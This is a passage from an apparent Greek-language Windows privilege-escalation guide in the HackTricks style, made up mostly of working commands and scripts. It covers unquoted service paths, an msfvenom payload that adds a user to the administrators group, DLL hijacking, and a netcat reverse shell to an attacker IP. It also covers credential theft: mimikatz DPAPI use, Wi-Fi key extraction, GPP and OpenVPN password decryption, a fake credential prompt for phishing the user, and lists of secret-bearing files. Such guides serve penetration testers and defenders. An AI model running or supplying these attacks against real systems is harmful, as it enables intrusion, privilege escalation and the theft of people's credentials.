for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Μπορείτε να ανιχνεύσετε και να εκμεταλλευτείτε αυτή την ευπάθεια με το metasploit: exploit/windows/local/trusted\_service\_path Μπορείτε να δημιουργήσετε χειροκίνητα ένα δυαδικό αρχείο υπηρεσίας με το metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Ενέργειες Ανάκτησης

Τα Windows επιτρέπουν στους χρήστες να καθορίσουν ενέργειες που θα πρέπει να ακολουθηθούν σε περίπτωση αποτυχίας ενός υπηρεσίας. Αυτό το χαρακτηριστικό μπορεί να ρυθμιστεί ώστε να δείχνει σε ένα δυαδικό αρχείο. Εάν αυτό το δυαδικό αρχείο είναι αντικαταστάσιμο, τότε ενδέχεται να υπάρχει προνόμιο εξέλιξης. Περισσότερες λεπτομέρειες μπορούν να βρεθούν στην επίσημη τεκμηρίωση.

Εφαρμογές

Εγκατεστημένες Εφαρμογές

Ελέγξτε τις άδειες των δυαδικών αρχείων (ίσως να μπορείτε να αντικαταστήσετε ένα και να αναβαθμίσετε τα προνόμια) και των φακέλων (Διαρροή DLL).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Δικαιώματα Εγγραφής

Ελέγξτε αν μπορείτε να τροποποιήσετε κάποιο αρχείο ρύθμισης για να διαβάσετε κάποιο ειδικό αρχείο ή αν μπορείτε να τροποποιήσετε κάποιο δυαδικό που θα εκτελεστεί από ένα λογαριασμό Διαχειριστή (schedtasks).

Ένας τρόπος να βρείτε αδύναμες άδειες φακέλων/αρχείων στο σύστημα είναι:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Εκτέλεση κατά την εκκίνηση

Ελέγξτε εάν μπορείτε να αντικαταστήσετε κάποιο κλειδί της registry ή δυαδικό που θα εκτελεστεί από διαφορετικό χρήστη.
Διαβάστε τη παρακάτω σελίδα για να μάθετε περισσότερα σχετικά με ενδιαφέρουσες τοποθεσίες autoruns για την ανάδειξη προνομίων:

{% content-ref url="privilege-escalation-with-autorun-binaries.md" %} privilege-escalation-with-autorun-binaries.md {% endcontent-ref %}

Οδηγοί

Αναζητήστε πιθανούς τρίτους παράξενους/ευάλωτους οδηγούς

driverquery
driverquery.exe /fo table
driverquery /SI

PATH DLL Hijacking

Εάν έχετε δικαιώματα εγγραφής μέσα σε έναν φάκελο που υπάρχει στο PATH, θα μπορούσατε να κάνετε hijack ενός DLL που φορτώνεται από ένα διεργασία και να εξελίξετε τα δικαιώματά σας.

Ελέγξτε τα δικαιώματα όλων των φακέλων μέσα στο PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Για περισσότερες πληροφορίες σχετικά με το πώς να καταχραστείτε αυτόν τον έλεγχο:

{% content-ref url="dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md" %} writable-sys-path-+dll-hijacking-privesc.md {% endcontent-ref %}

Δίκτυο

Κοινοποιήσεις

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

αρχείο hosts

Ελέγξτε για άλλους γνωστούς υπολογιστές που έχουν καταχωρηθεί στατικά στο αρχείο hosts

type C:\Windows\System32\drivers\etc\hosts

Δικτυακές Διεπαφές & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Ανοιχτές Θύρες

Ελέγξτε για περιορισμένες υπηρεσίες από το εξωτερικό

netstat -ano #Opened ports?

Πίνακας Δρομολόγησης

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Πίνακας ARP

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Κανόνες του τοίχου προστασίας

Ελέγξτε αυτήν τη σελίδα για σχετικές εντολές τοίχου προστασίας (κατάλογος κανόνων, δημιουργία κανόνων, απενεργοποίηση, απενεργοποίηση...)

Περισσότερες εντολές για απαρίθμηση δικτύου εδώ

Υποσύστημα Windows για Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Το δυαδικό bash.exe μπορεί επίσης να βρεθεί στο C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Εάν αποκτήσετε ριζικό χρήστη μπορείτε να ακούτε σε οποιαδήποτε θύρα (την πρώτη φορά που χρησιμοποιείτε το nc.exe για να ακούσετε σε μια θύρα, θα ζητηθεί μέσω GUI εάν το nc πρέπει να επιτραπεί από το τείχος προστασίας).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Για να ξεκινήσετε εύκολα το bash ως ριζικό χρήστη, μπορείτε να δοκιμάσετε --default-user root

Μπορείτε να εξερευνήσετε το σύστημα αρχείων του WSL στον φάκελο C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Διαπιστευτήρια Windows

Διαπιστευτήρια Winlogon

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Διαχειριστής διαπιστευτηρίων / Θησαυρός των Windows

Από https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Ο Θησαυρός των Windows αποθηκεύει τα διαπιστευτήρια χρήστη για διακομιστές, ιστότοπους και άλλα προγράμματα που μπορεί τα Windows να συνδεθούν αυτόματα. Αρχικά, αυτό μπορεί να φαίνεται ότι οι χρήστες μπορούν να αποθηκεύσουν τα διαπιστευτήρια τους για το Facebook, το Twitter, το Gmail κλπ., ώστε να συνδέονται αυτόματα μέσω περιηγητών. Αλλά δεν είναι έτσι.

Ο Θησαυρός των Windows αποθηκεύει διαπιστευτήρια που τα Windows μπορούν να συνδεθούν αυτόματα, πράγμα που σημαίνει ότι οποιαδήποτε εφαρμογή των Windows που χρειάζεται διαπιστευτήρια για πρόσβαση σε ένα πόρο (διακομιστή ή ιστότοπο) **μπορεί να χρησιμοποιήσει αυτόν τον Διαχειριστή Διαπιστευτηρίων & τον Θησαυρό των Windows και να χρησιμοποιήσει τα παρεχόμενα διαπιστευτήρια αντί να εισάγουν οι χρήστες το όνομα χρήστη και τον κωδικό πρόσβασης συνεχώς.

Εκτός αν οι εφαρμογές αλληλεπιδρούν με τον Διαχειριστή Διαπιστευτηρίων, δεν νομίζω ότι είναι δυνατόν να χρησιμοποιήσουν τα διαπιστευτήρια για έναν συγκεκριμένο πόρο. Έτσι, αν η εφαρμογή σας θέλει να χρησιμοποιήσει τον θησαυρό, θα πρέπει κάπως να επικοινωνήσει με τον διαχειριστή διαπιστευτηρίων και να ζητήσει τα διαπιστευτήρια για αυτόν τον πόρο από τον προεπιλεγμένο θησαυρό αποθήκευσης.

Χρησιμοποιήστε το cmdkey για να εμφανίσετε τα αποθηκευμένα διαπιστευτήρια στη μηχανή.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Στη συνέχεια μπορείτε να χρησιμοποιήσετε το runas με τις επιλογές /savecred για να χρησιμοποιήσετε τα αποθηκευμένα διαπιστευτήρια. Το παρακάτω παράδειγμα καλεί ένα απομακρυσμένο δυαδικό μέσω ενός κοινόχρηστου φακέλου SMB.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Χρησιμοποιώντας το runas με ένα συγκεκριμένο σύνολο διαπιστευτήριων.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Σημειώστε ότι το mimikatz, lazagne, credentialfileview, VaultPasswordView, ή από το Empire Powershells module.

DPAPI

Το Data Protection API (DPAPI) παρέχει έναν τρόπο για τη συμμετρική κρυπτογράφηση δεδομένων, κυρίως χρησιμοποιούμενο εντός του λειτουργικού συστήματος Windows για τη συμμετρική κρυπτογράφηση ασύμμετρων ιδιωτικών κλειδιών. Αυτή η κρυπτογράφηση εκμεταλλεύεται ένα μυστικό χρήστη ή συστήματος για να συμβάλει σημαντικά στην εντροπία.

Το DPAPI επιτρέπει την κρυπτογράφηση κλειδιών μέσω ενός συμμετρικού κλειδιού που προέρχεται από τα μυστικά στοιχεία σύνδεσης του χρήστη. Σε περιπτώσεις που αφορούν την κρυπτογράφηση συστήματος, χρησιμοποιεί τα μυστικά ελέγχου τομέα του συστήματος.

Τα κρυπτογραφημένα RSA κλειδιά χρήστη, χρησιμοποιώντας το DPAPI, αποθηκεύονται στον κατάλογο %APPDATA%\Microsoft\Protect\{SID}, όπου {SID} αντιπροσωπεύει το Αναγνωριστικό Ασφαλείας του χρήστη. Το κλειδί DPAPI, συνδυασμένο με τον κύριο κλειδί που προστατεύει τα ιδιωτικά κλειδιά του χρήστη στον ίδιο φάκελο, συνήθως αποτελείται από 64 bytes τυχαίων δεδομένων. (Είναι σημαντικό να σημειωθεί ότι η πρόσβαση σε αυτόν τον κατάλογο είναι περιορισμένη, αποτρέποντας την εμφάνιση των περιεχομένων του μέσω της εντολής dir στο CMD, αν και μπορεί να εμφανιστεί μέσω PowerShell).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Μπορείτε να χρησιμοποιήσετε το mimikatz module dpapi::masterkey με τα κατάλληλα ορίσματα (/pvk ή /rpc) για να το αποκρυπτογραφήσετε.

Τα αρχεία διαπιστευτήριων που προστατεύονται από τον κύριο κωδικό πρόσβασης συνήθως βρίσκονται στο:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Μπορείτε να χρησιμοποιήσετε το mimikatz module dpapi::cred με το κατάλληλο /masterkey για αποκρυπτογράφηση.
Μπορείτε να εξάγετε πολλά DPAPI masterkeys από τη μνήμη με το module sekurlsa::dpapi (αν είστε root).

{% content-ref url="dpapi-extracting-passwords.md" %} dpapi-extracting-passwords.md {% endcontent-ref %}

Διαπιστευτήρια PowerShell

Τα PowerShell credentials χρησιμοποιούνται συχνά για scripting και εργασίες αυτοματισμού ως ένας τρόπος αποθήκευσης κρυπτογραφημένων διαπιστευτηρίων με βολικό τρόπο. Τα διαπιστευτήρια προστατεύονται χρησιμοποιώντας το DPAPI, το οποίο συνήθως σημαίνει ότι μπορούν να αποκρυπτογραφηθούν μόνο από τον ίδιο χρήστη στον ίδιο υπολογιστή όπου δημιουργήθηκαν.

Για να αποκρυπτογραφήσετε ένα PS credentials από το αρχείο που το περιέχει, μπορείτε να κάνετε:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

Ασύρματο δίκτυο

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Αποθηκευμένες Συνδέσεις RDP

Μπορείτε να τις βρείτε στο HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
και στο HKCU\Software\Microsoft\Terminal Server Client\Servers\

Πρόσφατες Εντολές Εκτέλεσης

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Διαχειριστής Διαπιστεύσεων Απομακρυσμένης Επιφάνειας Εργασίας

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Χρησιμοποιήστε το Mimikatz dpapi::rdg module με το κατάλληλο /masterkey για να αποκρυπτογραφήσετε οποιαδήποτε αρχεία .rdg
Μπορείτε να εξάγετε πολλά DPAPI masterkeys από τη μνήμη με το Mimikatz sekurlsa::dpapi module

Σημειώσεις Sticky

Οι άνθρωποι συχνά χρησιμοποιούν την εφαρμογή StickyNotes στα προσωπικά υπολογιστικά σταθμού Windows για να αποθηκεύσουν κωδικούς πρόσβασης και άλλες πληροφορίες, χωρίς να συνειδητοποιούν ότι πρόκειται για ένα αρχείο βάσης δεδομένων. Αυτό το αρχείο βρίσκεται στη διαδρομή C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite και αξίζει πάντα να αναζητείτε και να το εξετάζετε.

AppCmd.exe

Σημείωση ότι για να ανακτήσετε κωδικούς πρόσβασης από το AppCmd.exe πρέπει να είστε Διαχειριστής και να τρέχετε υπό υψηλό επίπεδο Integrity.
Το AppCmd.exe βρίσκεται στον κατάλογο %systemroot%\system32\inetsrv\.
Αν αυτό το αρχείο υπάρχει, τότε είναι πιθανό ότι έχουν διαμορφωθεί κάποια διαπιστευτήρια και μπορούν να ανακτηθούν.

Αυτός ο κώδικας εξήχθη από το PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Ελέγξτε εάν υπάρχει το C:\Windows\CCM\SCClient.exe.
Οι εγκαταστάτες εκτελούνται με δικαιώματα SYSTEM, πολλοί είναι ευάλωτοι στο DLL Sideloading (Πληροφορίες από https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Αρχεία και Καταχωρήσεις (Διαπιστευτήρια)

Διαπιστευτήρια Putty

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Κλειδιά Κεντρικού Οικοδεσπότη SSH του Putty

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

Κλειδιά SSH στο μητρώο

Τα ιδιωτικά κλειδιά SSH μπορούν να αποθηκευτούν μέσα στο κλειδί μητρώου HKCU\Software\OpenSSH\Agent\Keys, οπότε θα πρέπει να ελέγξετε αν υπάρχει κάτι ενδιαφέρον εκεί:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Εάν βρείτε οποιαδήποτε καταχώριση μέσα σε αυτή τη διαδρομή, πιθανότατα θα είναι ένα κρυπτογραφημένο κλειδί SSH. Αποθηκεύεται κρυπτογραφημένο αλλά μπορεί να αποκρυπτογραφηθεί εύκολα χρησιμοποιώντας https://github.com/ropnop/windows_sshagent_extract.
Περισσότερες πληροφορίες σχετικά με αυτήν την τεχνική εδώ: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Εάν η υπηρεσία ssh-agent δεν εκτελείται και θέλετε να ξεκινά αυτόματα κατά την εκκίνηση, εκτελέστε:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

{% hint style="info" %} Φαίνεται ότι αυτή η τεχνική δεν είναι πλέον έγκυρη. Προσπάθησα να δημιουργήσω μερικά κλειδιά ssh, να τα προσθέσω με την εντολή ssh-add και να συνδεθώ μέσω ssh σε μια μηχανή. Το κατάλογος HKCU\Software\OpenSSH\Agent\Keys δεν υπάρχει και το procmon δεν ανέγνωρισε τη χρήση του dpapi.dll κατά την αυθεντικοποίηση με ασύμμετρα κλειδιά. {% endhint %}

Ανεπίτρεπτα αρχεία

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Μπορείτε επίσης να αναζητήσετε αυτά τα αρχεία χρησιμοποιώντας το metasploit: post/windows/gather/enum_unattend

Παράδειγμα περιεχομένου:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

Αντίγραφα ασφαλείας SAM & SYSTEM

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Cloud Διαπιστευτήρια

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Αναζητήστε ένα αρχείο που ονομάζεται SiteList.xml

Cached GPP Password

Προηγουμένως υπήρχε μια δυνατότητα που επέτρεπε την ανάπτυξη προσαρμοσμένων τοπικών λογαριασμών διαχειριστή σε μια ομάδα μηχανών μέσω των Προτιμήσεων Ομάδας Πολιτικής (GPP). Ωστόσο, αυτή η μέθοδος είχε σημαντικά προβλήματα ασφαλείας. Καταρχάς, τα αντικείμενα Ομάδας Πολιτικής (GPOs), αποθηκευμένα ως αρχεία XML στο SYSVOL, μπορούσαν να προσπελαστούν από οποιονδήποτε χρήστη του τομέα. Δεύτερον, οι κωδικοί πρόσβασης μέσα σε αυτές τις GPPs, κρυπτογραφημένοι με AES256 χρησιμοποιώντας ένα δημοσίως τεκμηριωμένο προεπιλεγμένο κλειδί, μπορούσαν να αποκρυπτογραφηθούν από οποιονδήποτε πιστοποιημένο χρήστη. Αυτό αντιπροσώπευε ένα σοβαρό κίνδυνο, καθώς θα μπορούσε να επιτρέψει σε χρήστες να αποκτήσουν αυξημένα προνόμια.

Για τη μείωση αυτού του κινδύνου, αναπτύχθηκε μια λειτουργία για τον έλεγχο των τοπικά αποθηκευμένων αρχείων GPP που περιέχουν ένα πεδίο "cpassword" που δεν είναι κενό. Κατά τον εντοπισμό ενός τέτοιου αρχείου, η λειτουργία αποκρυπτογραφεί τον κωδικό πρόσβασης και επιστρέφει ένα προσαρμοσμένο αντικείμενο PowerShell. Αυτό το αντικείμενο περιλαμβάνει λεπτομέρειες σχετικά με την GPP και την τοποθεσία του αρχείου, βοηθώντας στον εντοπισμό και την αντιμετώπιση αυτής της ευπάθειας ασφαλείας.

Αναζητήστε στον φάκελο C:\ProgramData\Microsoft\Group Policy\history ή στο C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (προηγούμενο του W Vista) για αυτά τα αρχεία:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Για την αποκρυπτογράφηση του cPassword:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Χρησιμοποιώντας το crackmapexec για να πάρετε τους κωδικούς πρόσβασης:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

Ρύθμιση Ιστοσελίδας IIS

Get-Childitem Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Παράδειγμα web.config με διαπιστευτήρια:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

Διαπιστευτήρια OpenVPN

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Αρχεία καταγραφής

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Ζητήστε διαπιστευτήρια

Μπορείτε πάντα να ζητήσετε από τον χρήστη να εισάγει τα διαπιστευτήριά του ή ακόμα και τα διαπιστευτήρια ενός διαφορετικού χρήστη αν νομίζετε ότι μπορεί να τα γνωρίζει (σημειώστε ότι να ζητήσετε απευθείας από τον πελάτη τα διαπιστευτήρια είναι πραγματικά επικίνδυνο):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Πιθανά ονόματα αρχείων που περιέχουν διαπιστευτήρια

Γνωστά αρχεία που κάποτε περιείχαν κωδικούς πρόσβασης σε καθαρό κείμενο ή Base64

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Αναζητήστε όλα τα προτεινόμενα αρχεία:

cd C:\
